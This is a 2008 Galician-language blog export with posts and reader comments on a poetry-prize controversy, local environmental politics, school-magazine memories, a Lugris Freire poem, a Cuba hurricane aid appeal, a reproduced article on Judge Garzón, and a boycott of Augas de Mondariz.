Que podiam ter acabado num julgado? Eu som membro dum juri e um “asesor” di-me umha cousa assim e nom tenho dúvida nengumha: ratifico a primeira decissom e aposto por ir ao julgado se assim o decide a pessoa que impugna!
Isto cheira mais cada vez que vamos sabendo cousas novas de todo este esperpento… Algumha cousa cheira a podre!
a ninguém lhe molesta que se amedrente um júri? vergonhentas as razons “literarias” ou “filológicas” que recolhe hoje a Voz:
Un asesor xurídico da Deputación coruñesa acompañou en todo momento aos membros do xurado e «indicounos que se rexeitabamos a impugnación que presentou o finalista o asunto acabaría nun xulgado, que sería o que tomara a decisión final».
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 25 Sep 2008 06:09:01 +0000 URL:Xavier, tes razom. O que precisamos é mais poesia e menos prémios. Mas, desafortunadamente para nós, para todos e todas nosoutras, existem muitas poucas possibilidades de publicar um livro de poesia numha editorial convencional e “séria", se nom é por meio dum prémio de poesia. É certo também que existem outras vias e outros meios, e que a rede e a distribuiçom nom comercial som vias a explorar, como estam a fazer algumhas pessoas, mas por agora ainda som escasas as iniciativas neste sentido. Todo chegará!
Brangaene, estou contigo. Os encontros de escritores/as novos/as (e já nom tam novas/os), desta fim de semana, organizados pola AELG, som umha perfeita oportunidade para debatir sobre isto (sobre o asunto-eduardo-estévez, mas também o asunto-arsénio-iglésias, e outros), e intentar chegar a umha postura comum e pública.
E traio aqui as reacçons à decissom do juri que hoje publica o Galicia-Hoxe, com opinions de S. Jaureguizar, Camilo Franco, Román Raña, Francisco Castro e de quem isto escreve.
propoño facer circular pola rede un manifesto a asinar para nos posicionar sobre o asunto de Eduardo Estévez. non é unha cuestión xeracional, como se anda a comentar. a decisión de retirarlle o premio é indubidablemente ultra-rancia e marca un fito. coido que dentro de anos, na historia da literatura galega, se falará do “asunto-Eduardo-Estévez” como unha crise que obrigou a unha fonda reflexion a varias xeracións de escritores galegos
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Sep 2008 19:43:20 +0000 URL:Ainda dous blogues mais que falam do tema: Alfaias, e A Canción do Náufrago. E também podedes ler a análise que Marcos S. Pérez fai em Vieros: “Un blog é un libro? Abrese o debate“, e no que se recolhem opinions de diversos/as autoras/es e ligaçons a vários blogues.
Recolho umha das opinions recolhidas nesta análise de vieiros.com, de Marcos S. Calveiro: “Que queren, que non publiquemos blogs? Que non falemos dos procesos de creación? Que sexamos uns kafka ou uns pessoa, pechados na casa todo o día, escribindo".
Diga o que se diga, retirar-lhe o prémio a Eduardo Estévez sobre uma falsidade (o poemário é inédito porque não foi publicado integramente e na sua versão final quer na rede, quer em papel) é um roubo e uma manipulação que dá vergonha.
Que República das Letras é esta? Não será que temos uma Ditadura das Letras ou pequenas ditocracias literárias?
Saúde, mais poesia e menos prémios.
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Sep 2008 16:52:50 +0000 URL:Ainda mais blogues nos que se fala do tema. Podedes ver novas anotaçons n’O levantador de minas, e ainda nas Brétemas de Manuel Bragado, nos Fragmentos da galaxia de J.L. Blanco Valdés, a Casatlántica de Maria Lado,…
E, por muito que miro, nos blogues nom vejo mais que críticas à decissom do juri. Com matizes, com diferências, de diversas perspectivas, mas posturas críticas. Muitos apoios à decissom do juri nom se vem nos blogues. E à postura e actuaçom de X.Lama ainda menos.
Sim, é certo, nos comentários de alguns meios, por exemplo em vieiros, podem-se ver posturas favoráveis ao proceder do juri ou ao X.Lama, mas som as menos. E isso nom significa mais nada quê o quê significa: que entre os blogueiros, as posturas estam maioritariamente, muito maioritariamente, com Eduardo.
Amanha, quinta-feira, parece que sai no Galicia-Hoxe umha notícia sobre o tema onde se recolhem as opinions de diversas pessoas mais ou menos relacionadas com o mundo literário. A ver que se di ali.
ojalá estejas errado igor e este debate seja por fim sério e deixem de passar estas trapalhadas neste pais!
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Sep 2008 06:08:57 +0000 URL:Podedes ver a notícia no Galicia-Hoxe, na Voz de Galicia e em Vieiros.
Vários blogues recolhem também a notícia: O levantador de minas, Made in Galiza, Cabaret Voltaire, Ferradura en tránsito, Lándoa, Projecto Q,… Imagino que ainda haverá mais que nestes momentos eu ainda nom vim.
A notícia, ao meu parecer, vai-se convertir num pequeno escándalo, e, como sempre nos ocurre, num ínfimo debate. Oxalá esteja errado.
Leo hoje no galicia-hoxe:
“Xavier Lama recibiu con satisfación a noticia e, malia estas “estrañas circunstancias", dixo sentirse “reconfortado por gañar un premio coma o González Garcés nun ano no que tamén tiven o Premio Esquío".
Este homem ainda nom se decatou de que nom ganhou o prémio? De que foi finalista? De que lhe vam dar o prémio precisamente por nom tê-lo ganhado?
Que país…
Di o e-Estraviz que a hipocrisia é o fingimento de boas qualidades ou sentimentos, para aparentar os contrários dos que realmente se têm. Sinónimos: fingimento, falsidade [do grego hypokrisia].
Como noutros muitos concelhos da Galiza, Ponferrada, capital desta regiom berziana, também celebrou nestes dias essa pretenciosa jornada chamada "Dia sem carro", "Jornada da mobilidade", ou como se lhe queira chamar.
Em Ponferrada, sob a legenda de "aire limpo", o concelho organizou os tradicionais actos de publicidade e propaganda. Trata-se de fazer como si se figera algumha cousa, sem realmente fazer nada. Por suposto, pudemos ver até umha foto do alcaide, com garavata incluida, fazendo como se andivese em bicicleta, e realizando um chamamento a nom empregar o carro privado (ele, que anda sempre no carro oficial...). Todo hipocrisia, numha cidade que nom tem nengum tipo de preparaçom para andar em bicicleta, por muito que a cámara municipal se some à moda (tam estendida entre alcaides, tanto do PP como do PSOE), de criar um sistema de emprestito de bicicletas.
Mas, para mim, o colmo é que fagam umha campanha de propaganda empregando a legenda "aire limpo", os mesmos que promovem, permitem e defendem a incineraçom de resíduos sólidos (pneumáticos, farinhas, graxas animais, lodos de depuradora, plásticos, biomasa,...) na fábrica de Cementos Cosmos (pertencente à "Corporación Noroeste Grupo Cimpor") em Toural dos Vaos.
A incineraçom, como vem denuncia a Plataforma Bierzo Aire Limpo, suporá um enorme incremento das emissons que já produz a cementeira, gerando compostos tóxicos perigosos para a saude de toda a populaçom berziana, e nom só, contaminado o aire, o cham, as colheitas,... com dioxinas e metais pesados que entraram na cadeia alimentícia, etc...
O PP (e o PSOE que nom pretende evitá-lo) é responsável deste facto. O Governo Autonómico de Castela e Leom, em maos do PP, tem dado todos os permisos para que isto vaia adiante, e apoia, por activa e por passiva, explicita e implicitamente, a contaminaçom da nossa regiom, do Bierzo.
E depois, ainda pretendem vender a sua imagem de preocupados pola ecologia! Hipócritas.
outra de hipocrisia:
Eduardo Estevez e o premio Gonzalez Garcés
Demasiadas veces perdemos o noso tempo ollando para os de fóra e indignándonos por palabras no aire que pronuncian persoas como Steiner, deixamos correr os días en disputas decimonónicas en vez de mirar para dentro, para nós mesmos. E seguiremos así porque é a nosa natureza minifundiaria de matar ao próximo.
Asistimos, mais uma vez, a unha vella reclamación da denominada xeración dos 90: a renovación das formas, dos contidos, e novos espazos para a poesía. E asistimos, mais unha vez, á oposición dos centros literarios que temen morrer a mans dos fillos.
Eduardo Estevez incorpora, en xaneiro de 2006, unha tradición, amplamente desenvolvida noutras literaturas, á nosa: a participación do lector nos procesos de producción. Abre un dos primeiros blogs no noso eido cultural con esta temática. Grazas a el puidemos achegar os nosos comentarios, alterar liñas enteiras dos poemas ou propor ideas. Precisamente, esta innovación literaria é o argumento central polo que agora se lle retira o XIV Premio de Poesía Miguel Gonzalez Garcés.
Se, desde o ponto de vista filolóxico, é inadmisíbel confundir proceso poético de producción con obra ou produto final, desde o punto de vista do receptor non cabe máis do que pensar que sempre seremos unha literatura minifundista baseada no escurantismo. Por que? Pois porque se unha serie de persoas especializadas en litertura se deixan influir polas leas do sistema ata o punto de rexeitar os propios principios da escrita, que nos queda?
A poesía como xénero non é unha insipiración das musas senón o froito dun traballo de anos e anos, de longas sesións de correccións nas que unha coma ou un punto cambian completamente o significado do verso, na que un acento varía a métrica, na que unha grave altera a rima… se son os propios xurados e especialistas da literatura os que confunden o proceso poético co producto, se son eles mesmos quen negan o seu propio traballo formado e especializado afirmando que un bosquexo inicial é o mesmo do que unha obra editada, que nos queda?
Moi sinxelo: unha literatura que non se recoñece a si mesma co rango de producción especializada, un oficio sen rigor. Un escritor non é máis do que un instrumento dos deuses que non precisa ter unha formación que distinga elementos tan básicos como obra e rascuño, o escritor é aquel que decide o que o lector debe recibir…
Pois como lectora, como filóloga, négome a que me prohiban incluir os recursos da miña época na escrita (internet, os blogs,…), como lectora desexo unha formación literaria axeitada de aqueles aos que lles axudo a reclamar os seus dereitos de autor (os dereitos conlevan deberes) e como lectora expreso a miña indignación ante aqueles que prefiren gañar nos despachos o que non son capaces de gañar coa súa obra ainda que sexa a custa dun compañeiro de profesión.
Que nos queda? o minifundio literario.
Vai já para 20 anos, que um grupo de rapazes/as, estudantes (mais ou menos) do liceu Arcebispo Gelmires-I de Compostela (entre os que estavam o Barón de Medio Pelo, entom mais conhecido como Davidú, e quem isto escreve), editavamos o número 1 (e único) da Nova Época da revista The Put Night.
Em anos anteriores, publicaramos vários números do The Put Night, editados em linotípia e grampados. Mas, este número, impreso em Tórculo, supunha um grande avanço para nós. Tam grande, tam grande, que nom editamos mais números.
Martín a.k.a. Nallim Despiste, Alberto, Paco, Ricardo a.k.a. Odri, Marcos,... e os membros do COLECTIVODEGA (Colectivo de Debuxantes Galegos): Manuel Vázquez -o autor da capa-, Fran Blanco, Roberto, Raimundo, Luis,..., e os dous anteriormente citados, eram os responsáveis destas 34 páginas, cheias de banda desenhada, poemas, artigos, e... publicidade.
Publicidade? Em 1988, publicidade dos locais que mais visitávamos: todas das galerias da Rua Nova de Abaixo (na altura, ainda oficialmente Calle Nueva), agás o Jazz Club Dado-Dada (na rua Alfredo Branhas), e a Cafetaria Eirado (em General Pardinhas). As outras? O Carallete, o Bretema e no que mais litros e litros de cerveja bebiamos, o Gasteiz, com um anúncio com cita dos evangelhos cristaos incluida: "Quem crê nele nom perece mas tem a vida eterna", Xoan 3:16. Eramos, ou criamos ser, ou queriamos ser, um grupo de irreverentes provocadores.
Também iamos por outros bares, mas nom meterom publicidade: Berberecho, Cotton, Tumba, Caldeiron,...
O grupo de pessoas que estavamos detras deste revista, agrupávamo-nos no difuso colectivo SCAPA (Sociedade Compostelam de Amigos da Parida). Na aula, agrupávamo-nos todos num recanto, chamada, pretenciosamente "Eskina contrakultural".
A ediçom deste número, do que só conservo um exemplar, foi possível porque nesse ano, ou no anterior, já nom lembro bem, o resultado das votaçons ao Conselho Escolar possibilitou umha mudança na equipa directiva do centro e na orientaçom do mesmo. A chegada de Manolo Portas à Direcçom, junto com a sua equipa, permitiu a entrada de aire limpo e fresco no centro. E ainda assim, essa equipa directiva, e esse Director, decidirom (ainda que nom por unanimidade) censurar umha das páginas, um dos artigos da revista. The Put Night foi distribuida polo centro, e fora del, com a página 19 completamente em preto. A censura borrou o texto intitulado "Artigos ilustrativos da sociedade institutil: kon finura", que aparecia anonimamente, ainda que (imagino que podo dizê-lo sem temor a represálias) era da minha autoria, e no que pretendiamos ajustar contas com a anterior equipa directiva, com a que tam, tam, tam mal nos levávamos practicamente desde o primeiro dia que entráramos no liceu dous ou três anos antes.
Efectivamente, Bouzafria, Guillermo deu-me aulas, se nom lembro mal em COU (mas puido ser também em 3º de BUP, passam os anos e algumhas cousas vam-se esquecendo…).
Precisamente no The Put Night, tinhamos umha secçom, “Frases Célebres", onde recolhiamos frases dos e das profes um pouco tontas, estúpidas, raras… ou sacadas de contexto. De Guillermo, temos três, nada mais que três, nesse número:
-"No lo explico que nom me apetece".
- “Yo llego cuando llego".
- “Yo lo que hago es el tonto. Realmente es lo que me gusta y es mi vocación".
Era umha grande pessoa Guillermo, um bom profe, e para mim, a sua melho frase foi aquela que nos soltou um dia na aula:
-"Piense lo que piense Antolin Sánchez Presedo, hoy voy a explicar los estoicos!".
Alguém lembra quem foi o Antolín esse? Mas Guillermo ainda o temos na memória.
----- COMMENT: AUTHOR: bouzafria [Visitante] DATE: Thu, 25 Sep 2008 22:46:08 +0000 URL: http://bouzafria.blogspot.comEntón,daquela, fuches alumno de Guillermo Domínguez?
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 22 Sep 2008 20:00:40 +0000 URL:Conseguir recuperar o post, mas nom assim os comentários. Muito obrigado à equipa do PGL, e especialmente ao Vitor. E desculpas ao Barom e a Maria que escreveram comentários neste post.
Por estes mistérios da informática, venho de descobrir que também perdim um bom número de comentários em post anteriores. Nem sei se poderei recuperá-los. Solicito desculpas às pessoas implicadas.
Inexplicavelmente para mim, desapareceu o último post que escrevim. Aquel que falava da revista The Put Night, que um grupo de rapazes faziamos no liceu Gelmires-I, em Compostela, haverá uns 20 anos.
Quando me recupere da impressom, e do cabreo, intentarei escrevi-lo novamente. Mas já nom será o mesmo.
A informática...
A imagem, aqui.
A capa do The Put Night, é esta.
O Partido do Bierzo soma-se às propostas de dedicar o Dia das Letras de 2011 a António Fernández y Morales.
O Foro Cultural pola Província do Bierzo, junto com o PB, já lhe tributou o ano passado umha homenagem, no cemitério da Edrada, em Cacabelos, na tarde de onte.
Será capaz a (Real, e monárquica?) Academia Galega de decidir umha cousa assim? Duvido-o. Ainda que som muitas as vozes que tenhem reclamado tal celebraçom, penso que na RAG tenhem-lhe pánico ao que podia significar celebrar um autor da Galiza nom-autonómica.
A verdade é que nem eu tenho, nem penso que ninguém na minha família mais próxima tenha, nengum documento de Lugris Freire.
Mas no 2006, quando se lhe dedicou o Dia das Letras, um seu neto, Manuel Lugris Rodríguez, tivo a bem desculpar a sua ausência ao acto que para esse dia celebrava Fala Ceive em Ponferrada, com umha carta sua e um poema de Manuel Lugris Freire que é este que aqui transcrevo.
COLON
¿Que foi galego Colón?
Nin o afirmo, nin o nego.
Por mim pode ser galego
ou ser chino de Cantón.
Non pasan pouco trabalho
furgando en velhos papés
catro sabios do revés
cô mais pedante arruallo.
El nada quixo falar,
encol do seu nacimento;
nen sinal nen documento
se poido ainda atopar.
Mais s'en Galicia foi nado
e adrede o caso calou,
o bon senso o designou
Gran Patrón do Renegado.
O poema, segum explicava Lugris Rodríguez, é completamente inédito, nom publicado em sítio nengum, nem recitado nem conhecido por ninguém. Ele, atopou-no num envelope com outros escritos de Lugris Freire, com a indicaçom por ele mesmo escrita, de que se tratava de inéditos.
A carta de Manuel Lugris Rodríguez, que tinha que ter sido lida por mim nesse acto de Fala Ceive, que se desenvolveu no Campus Universitário do Bierzo, foi finalmente lido por Noélia Fernández, galega de Ponferrada, porque justo nessa semana eu comecei a trabalhar também às tardes e nom cheguei a tempo ao acto. Isso sim, Noélia fijo referência a que naquel recinto havia um outro Lugris, Xende, só que tam pequeno ainda que nom podia nem falar. Se Lugris Freire era tio do meu avó, Xende e Aldám som bisnetos do sobrinho de Lugris Freire, se nom estou errado.
Manuel Lugris Rodríguez enviava também um saudo para essa celebraçom berziana do Dia das Letras que sigue tendo sentido hoje em dia. Neste país nosso, onde, como dizia aquel, todo é porvir e nunca chega, e onde muitas veces parece que só avançamos cara tras, as palavras daquela carta parecem estar escritas pensando em cousas destes dias.
Dizia Manuel Lugris Rodríguez:
"Cando está a celebrarse un día mais das Letras Galegas, desta festa da cultura que cada Ano proclamamos con orgullo e arruallo como umha manifestación pública do que todos e cada un de nós levamos agochado interiormente no que atinxe as nosas angueiras de dignidade, é o momento de facer unha fonda reflexión no que significa a pervivencia desta lingua inmorrente que a pesares de persecucións, incomprensións e a indeferenza de moitos, está viva na musa dos poetas, no verde dos campos e na naturalidade de comunicación dun pobo que proclama no seu uso cotían a solidariedade con todalas culturas do mundo.
Hoxe estades a homenaxear a Manuel Lugris Freire, o meu avó, e na sua memoria quero dicirvos de que estou seguro que non haberia motivo mais doce de ledicia e alegría para el que dirixirse a vosoutros, amigos e compañeiros desa incomparable terra do Bierzo para darvos un saudo irmán e unha aperta de permanencia na ilusión dun idioma común que non poderán afastar todas as forzas negativas deste mundo.
Neste día un saudo e unha lembranza dende este curruncho da Fisterra europea e universal no recordo emocionado de Lugris e da sua obra.
Viva a nosa lingua!!
Manuel Lugris Rodríguez."
----- -------- AUTHOR: Lugris TITLE: Ajuda urgente para Cuba BASENAME: ajuda-urgente-para-cuba DATE: Tue, 16 Sep 2008 15:44:01 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Atençom! Lê e difunde esta informaçom. É urgente. É necessário. É de justiça.
Olha este vídeo de Cuba Informaçom.
Os furacans Gustav e Ike causarom graves danos na ilha das Caraibas. O portal Cuba Informaçom publica um listado com os números de diferentes contas bancárias de diferentes países de todo o mundo nas que poder ingresar dinheiro para contribuir a paliar a grave situaçom criada.
O conjunto das organizaçons, entidades, movimentos e organismos internacionais de solidariedade com Cuba realizarom um chamamento para realizar umha campanha urgente de solidariedade material com o povo cubano, por meio do ingresso de fundos económicos que iram destinados às necessidades fundamentais e peremptórias da populaçom afectada.
O sistema preventivo e de organizaçom de Defesa Civil de Cuba é qualificado como modélico por numerosas organizaçons internacionais vinculadas à reduçom de desastres e polas Naçons Unidas. Mais de 2 millons e meio de pessoas forom evacuadas nesta ocassom.
A inusual cifra de 7 vítimas mortais da-nos a medida do poder devastador do furacám Ike, que destruiu boa parte da agricultura e a infraestrutura do país, e provocou o derrubamento, segum cálculos cubanos, de 320.000 vivendas.
Se eles o dim, será porquê é verdade. Nom som inventos.
Mais de mil estudantes! Já tarda a reacçom espanholista a falar de imposiçons e imperalismo.
----- -------- AUTHOR: Lugris TITLE: O peido de Airberlin ainda cheira BASENAME: o-peido-ainda-cheira DATE: Sat, 13 Sep 2008 23:09:25 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: Cousas por aí CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Nom está bem auto-citar-se tanto, mas é que há umhas quantas semanas falei dum peido, e resulta que ainda cheira, e cheira mal, quer-se dizer: fede, apesta, é mesmo insuportável.
E o senhor da foto, por nome Álvaro Middelmann, pensa que cheira, mas que cheira bem, vaia que arrecende, vaia que é um aroma agradável. E penetrante.
Já nom se trata de que tenhamos que dizer que chove quando vemos que o que cai é um líquido excrementício segregado polos rins e emitido pola bexiga, é que agora querem que digamos que trona quando evacuam, defecam ou obram.
Chega a ser cansino ter que ouvir tanto cretino a exigir-nos que pidamos perdom por estar vivos.
Publicado na Revista das Letras do 4 de Setembro, trata-se dumha versom do meu próprio poema "A minha língua quero na tua boca", escrita haverá já practicamente dous anos, e que se pode incluir dentro do meu "trabalho" de Bi-lhei.
A minha língua quero na tua boca
e falar com o silêncio dos peixes
tam líquido e húmedo
o falar dos sargos
petaranhas e maragotas
o falar dos xurelos
as sardinhas e as xoubas
Entendermo-nos entre bránquias
Mirarmo-nos entre escamas
Movermono-nos na âgua
entre fluidos e sabores salgados
como quem durme numha cama na tua cama
A imagem, está aqui.
----- -------- AUTHOR: Lugris TITLE: Colaborar com Garzón? BASENAME: colaborar-com-garzon DATE: Sat, 13 Sep 2008 22:35:23 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Cousas por aí CATEGORY: Estam tolos estes espanhois TAGS: ----- BODY:Carlos Morais, escreve um interesante artigo no web de Primeira Linha, no que analisa a decisom do juiz Garzón de reclamar censos de vítimas do franquismo a diferentes instituiçons. Reproduzo-o aqui polo seu interese.
Devemos colaborar com Garzón?
Carlos Morais
A inícios de mês, o juiz da ?Audiência Nacional? Baltasar Garzón reclamou a diversos estamentos da administraçom espanhola (ministérios, cámaras municipais) e também à Conferência Episcopal o censo das centenas de milhares de desaparecidos durante a Guerra Civil e a brutal repressom da pós-guerra.
Tam alto representante do poder judicial na legalidade vigorante afirma justificar esta solicitaçom para assim poder decidir se admite a trámite, se tiver competências, as denúncias apresentadas por diversas associaçons da ?memória histórica? para investigar e esclarecer onde é que se acham os restos dos seus familiares e se, portanto, existe base jurídica para iniciar um processo por genocídio.
Tal como pretendia, a decisom criou, alimentada polo sensacionalismo e a excitaçom dos meios de comunicaçom, um artificial debate entre as cúpulas dos partidos burgueses, posicionamentos a favor e contra as mais diversas associaçons e instituiçons e, sobretodo, gerou expectativas nos familiares das vítimas do fascismo que, depois de tantos anos de humilhante espera, vem abrir-se umha porta para localizar valas comuns, descobrir e enterrar os restos dos seus seres queridos.
Mas, contrariamente a umha sensibilidade e determinaçom progressistas por contribuir para corrigir umha das maiores infámias do actual regime: a imposiçom da amnésia, da lei de silêncio sobre os assassinatos, a incautaçom e o saque de propriedades polo franquismo; os verdadeiros motivos que movem este alto magistrado som outros.
A própria decisom já conseguiu o que realmente Garzón procurava: mais e mais títulos de imprensa, imagens de televisom e flashes fotográficos para alimentar a sua vaidade pessoal e a sua desmedida ambiçom de glória.
Garzón sabe perfeitamente que nom existe a mais mínima hipótese de que as instituiçons estatais, herdeiras do regime que ?pretende investigar?, e dos posteriores acordos da Transiçom culminados na Constituiçom que este ano celebra o trigéssimo aniversário entre supersticiosas adesons, permitam abrir umha investigaçom deste calibre. Garzón está plenamente consciente da impossibilidade legal de esclarecer o terrorismo de estado praticado de maneira inenterrupta e sistemática entre meados de Julho de 1936 e Outubro de 1977, como parámetros temporários socialmente admitidos de um regime que nom foi integralmente desmontado, ao qual só se aplicou um lifting e uns tratamentos intensivos de cirurgia estética, sem alterar o seu cerne.
Há agora um ano, o PSOE, com o apoio dos partidos da esquerda reformista aprovou nas Cortes espanholas umha lei em que, contrariamente às reivindicaçons das associaçons da memória história e das demandas do movimento popular, nom se prevê o que agora Garzón afirma pretender solventar.
A lei da ?Memória histórica? nom se desmarca dos pactos ignominiosos da Transiçom; de facto, no seu articulado apela de forma constante às bondades dos consensos constitucionais, os mesmos que concedêrom impunidade aos criminosos que durante mais de quatro décadas violárom os mais elementares direitos humanos individuais e colectivos, enriquecendo-se à custa da exploraçom e miséria da classe trabalhadora, das naçons oprimidas, e também da confiscaçom de bens e propriedades.
Esta lei, em vez de anular os julgamentos e as sentenças repressivas, unicamente derrogou um conjunto de leis e bandos de 1936, já anulados de facto pola Constituiçom de 1978 e parcialmente suprimidos pola legislaçom franquista. Desta forma, a lei reconhece a legitimidade do Estado de Burgos e do posteriormente levantado sobre a vitória militar.
Era nesta lei que havia que ter aprovado a investigaçom do genocídio, e adoptado todas aquelas disposiçons legais tendentes à localizaçom e recuperaçom das vítimas. Mas nom só. Pois que acontece com os responsáveis directos e indirectos polos assassinatos? Continuarám a desfrutar da imunidade à perpetuidade? Que sucede com o imenso património colectivo (jornais, contas bancárias, locais e sedes de partidos, sindicatos, organizaçons sociais) e privado (fábricas, negócios, terras, casas e prédios, depósitos bancários), incautado polo franquismo mediante expropriaçons, apropriaçom ou simples roubo, sobre o qual fôrom amassadas fortunas das quais hoje desfrutam os herdeiros do regime? Continuarám sem ser resolvidos?
A resposta, obviamente, é que sim. Pois para poder resolver isto, antes que mais, há que apostar sem ambigüidades em desmontar o actual Estado espanhol.
A actual arquitectura jurídico-política espanhola levanta-se sobre a reforma do franquismo. O actual Estado é continuidade do anterior.
Portanto, nom existe nem vontade nem possibilidade algumha de investigar os seus crimes empregando como ferramenta a legalidade vigorante que até agora ocultou e protegeu o genocídio e os seus responsáveis.
A totalidade da administraçom espanhola, desde o mastodôntico corpo funcionarial até o exército, nom fôrom saneados. A sua doutrina e ideologia mantivo-se intacta e inalterável. Por muitos processos modernizadores e iniciativas regeneracionistas, na sua prática totalidade meramente virtuais e simples lavagens de imagem, as posiçons reaccionárias e filofranquistas continuam a ter enorme peso no seu interior.
O actual Estado espanhol carece de legitimidade democrática. Nom passaria a prova do algodom de umha comissom independente em qualquer outra parte do mundo. Porque aqui os criminais de guerra nom fôrom nem som investigados? Que se passa? O genocídio do Ruanda ou dos Balcáns som mais grave do que os praticados e amparados polos governos de Franco, desde o primeiro até o último, quando fôrom fusilados cinco militantes revolucionários e antifascistas em Setembro de 1975?
Agora nom existem campos de concentraçom, mas sim um sistema prisional que procura a destruiçom e derrota dos centos de prisioneir@s polític@s; agora nom se fusila, mas os abusos policiais e a prática da tortura continuam presentes, ano após ano, nos informes de Amnistia Internacional; agora nom se incautam os bens de todos aqueles que nom aderem ao regime, mas os bancos e as companhias de seguros, mediante decisom judicial, embargam milhares de trabalhadoras e trabalhadores que nom podem fazer frente aos abusivos juros das hipotecas e empréstimos estimulados pola voragem do insaciável consumismo que nos imponhem.
Garzón sabe todo isto. Nom lhe importa! Fai parte das elites do actual regime. É umha peça destacada. Ele nom procura mais que manter acesa a sua estrela e projecçom públicas. Talvez agora, após ter fracassado na sua carreira política, calcule que, se aproveitar bem esta ocasiom, poderá optar a fazer méritos suficientes na procura do Nóbel da Paz. Muitas das biografias dos precedentes que obtivérom o galardom, Henry Kissinger, Menachem Begin, Lech Walesa ou Óscar Árias, nom som melhores do que as do senhor Baltasar.
A sentida e necessária recuperaçom da memória histórica, desde o momento em que foi apoiada e subsidiada por sectores políticos perfeitamente incorporados na II Restauraçom bourbónica, provocou a adesom de todo o tipo de oportunistas que só queriam fazer carreiras académicas, obter lucro económico, prestígio pessoal e projecçom pública. Eis a pura realidade das misérias desta luita justa e necessária.
De posiçons de esquerda e antifascistas nom existem motivos para contribuir a que Garzón e a sua ?Audiência Nacional?, herdeira do Tribunal de Ordem Pública (TOP) franquista, lavem novamente a cara.
As vítimas do holocausto galego nom merecem isto! Há que seguir luitando pola sua plena recuperaçom, sem o desligar dos valores e objectivos polos quais fôrom assassinados. Porque o franquismo sim continua a ter herdeiros e está vivo.
Nom podemos depositar confiança em tam sinistro personagem.
Galiza, 10 de Setembro de 2008
----- -------- AUTHOR: Lugris TITLE: Um mês no Condado BASENAME: um-mes-em-ponte-areias DATE: Sat, 13 Sep 2008 00:42:33 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Escrever nom é mau CATEGORY: Gz é bem pequena CATEGORY: Eu também desenhar TAGS: ----- BODY:Desde o dia 11 (de Setembro) e até o dia 11 (de Outubro), pode-se ver no Local Social Baiuca Vermelha, de Ponte Areas, no Condado, a exposiçom "Poesia para Ver/Poesia para Ler".
A Baiuca Vermelha, que celebrou recentemente o seu 3º aniversário, está na Rua Redondela nº 11, rés-do-chao, de Ponte Areas. O seu telefone, por se queredes consultar horários ou qualquer outra questom é ó 986 182 436.
E já estamos a preparar umha exposiçom em Compostela, outra em Ponferrada e outra em... (tubi continuez)
Addenda (umhas horas depois):
Enviam-me umhas fotos da Baiuca com a exposiçom. Estas som.
Xa teño penduradas na parede as tuas plegarias!, encántame.
Seguímosche a pista Igor, Apertas Cangueiras..
t.
Para Xende, hoje deu começo a sua etapa de estudante. O princípio dumha longa, longuíssima, época. Anos e anos e anos ficam por diante.
Mas hoje, todo bem. Ele contento.
A sua mae e o seu pai, que nom som grandes partidários do sistema, neste caso do sistema escolar realmente existente, nom tanto.
A primeira vista, nom parece grande cousa. É um dia como outro qualquer. Um dia como podia ser onte, ou antonte. Mas, sabemos bem, algumha cousa é distinta, algumha cousa mudou. Ou começou a mudar. Xende já é "grande", e vai à escola "dos grandes".
Estamos orgulhosos, n'é?
Igual que a outras muitas pessoas (aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui, aqui,... a lista nom é infinita, mas aproxima-se...) que também decidirom escrever-lhe a Àguas de Mondariz para fazer-lhe chegar a decissom de boicotar os seus produtos, a empresa enviou-me um correio de resposta, onde nom se sabe se aclaram um malentendido ou rectificam umha postura anterior. Mas o boicote continúa!
Parece que umhas quantas dúzias de correios electrónicos, servirom para que colheram medo ante a mais que possível e muito provável baixada nas suas ventas. O boicote continúa!
No que ao(s) comunicados da sua empresa anteriormente conhecidos diz respeito, só fam duas vagas referências, mas em nengum caso negando que tais comunicados existiram. No começo da carta dim que nom é mais que um (e cito textualmente) "rumor estendido a través de internet acerca da oposición de Augas de Mondariz á difusión da lingua e cultura galegas", e aclaram que "desconhecem" a origem dessa notícia, que supostamente, e segum eles, fica desmentida com as iniciativas desenvoltas pola empresa nos últimos anos relacionadas com a nossa língua e cultura. Também no final da carta aclaram (em maiúsculas, ninguém lhes explicaria qual é o significado das maiúsculas actualmente na rede?) que esta é "A UNICA NOTA OFICIAL DE AUGAS DE MONDARIZ, POLO QUE AGRADECEREMOSLLE NON PRESTE ATENCIÓN A OUTROS COMUNICADOS". O boicote continúa!
Quanto ao comunicado do Clube Financieiro de Vigo, nada de nada. Quer dizer, todo de todo: nom negam apoiar, nom desmintem que souberam do conteudo do panfleto espanholista, nom pontoalizam. Aceitam. Concordam. Apoiam. Em definitivo: atacam o galego. O boicote continúa!
Ataca-no apoiando esse comunicado. Ataca-no pensando que editar um livro em galego, realizar umhas exposiçons e ter contado entre a sua clientela com pessoas como "A. R. Castelao, Valle Inclán, E. Pardo Bazán, W. Fernández Flórez, Rei Soto, M. Murguía, ou a propia Real Academia Galega (...), C. Casares, Torrente Ballester, ou Fco. Fernández del Riego" já lhes outorga umha pátina de galeguismo que limpa ou agacha a sua verdadeira política lingüística. O boicote continúa!
Porque esta empresa, como outras tantas, tem umha política lingüística. Qual? Pois essa que se visualiza no facto de que o seu web esteja em espanhol e em inglês, mas nom em galego (em nengumha das suas variantes gráficas actualmente existentes), porque, tal e como dim na carta, "as tecnoloxías da información e comunicacións avanzaron moito nos últimos anos, pero o esforzo de lograr un diálogo fluído en internet require un soporte demasiado grande para dar cobertura a consumidores -afortunadamente- dos cinco continentes. Por iso a decisión de Augas de Mondariz de empregar na súa web os idiomas Inglés e español". A idiotez nom descansa. O boicote continúa!
